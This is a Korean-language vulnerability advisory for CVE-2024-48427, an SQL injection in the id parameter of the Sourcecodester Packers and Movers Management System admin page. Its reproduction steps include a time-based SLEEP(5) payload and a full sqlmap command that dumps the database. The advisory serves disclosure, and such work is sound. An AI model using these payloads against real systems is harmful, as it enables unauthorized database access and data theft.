CVE-2024-48427

설명

Sourcecodester Packers and Movers Management System v1.0의 SQL 삽입 취약점으로 인해 원격 인증 사용자가 /mpms/admin/?page=services/manage_service&id의 id 매개변수를 통해 임의의 SQL 명령을 실행할 수 있습니다.

취약점 유형

SQL Injection

제품 공급업체

Sourcecodester

영향받는 제품 코드 베이스:

https://www.sourcecodester.com/php/15360/packers-and-movers-management-system-phpoop-free-source-code.html - 1.0

영향받는 구성 요소:

Update Service Details의 id 매개변수 (/mpms/admin/?page=services/manage_service&id)

공격 벡터:

1. 애플리케이션을 로컬에 설치하고 제공된 기본 자격 증명을 사용하여 관리자 패널에 로그인합니다.
2. 취약한 페이지로 이동합니다: http://localhost/mpms/admin/?page=services/manage_service&id=2
3. id 매개변수에 SQL 페이로드를 주입합니다: http://localhost/mpms/admin/?page=services/manage_service&id=1' OR SLEEP(5)-- puNr
4. 애플리케이션 응답을 관찰합니다: 인젝션이 성공하면 페이지 로드 시간이 눈에 띄게(5초) 길어지며, 이를 통해 id 매개변수가 SQL 인젝션에 취약함을 확인할 수 있습니다.
5. 이제 데이터베이스 세부 정보를 덤프하기 위해 SQLMap 도구를 실행합니다:
6. sqlmap -u "http://localhost/mpms/admin/?page=services/manage_service&id=1" --cookie="phpMyAdmin=ju34bd3d8q0jdf6td4ntqscaqd;PHPSESSID=eopn8q1p8c1f5m1v5igjoir8k1;" --dbms mysql -p id --risk 3 --level 4 --dbs --dump

참고:

1. https://owasp.org/www-community/attacks/SQL_Injection
2. https://portswigger.net/web-security/sql-injection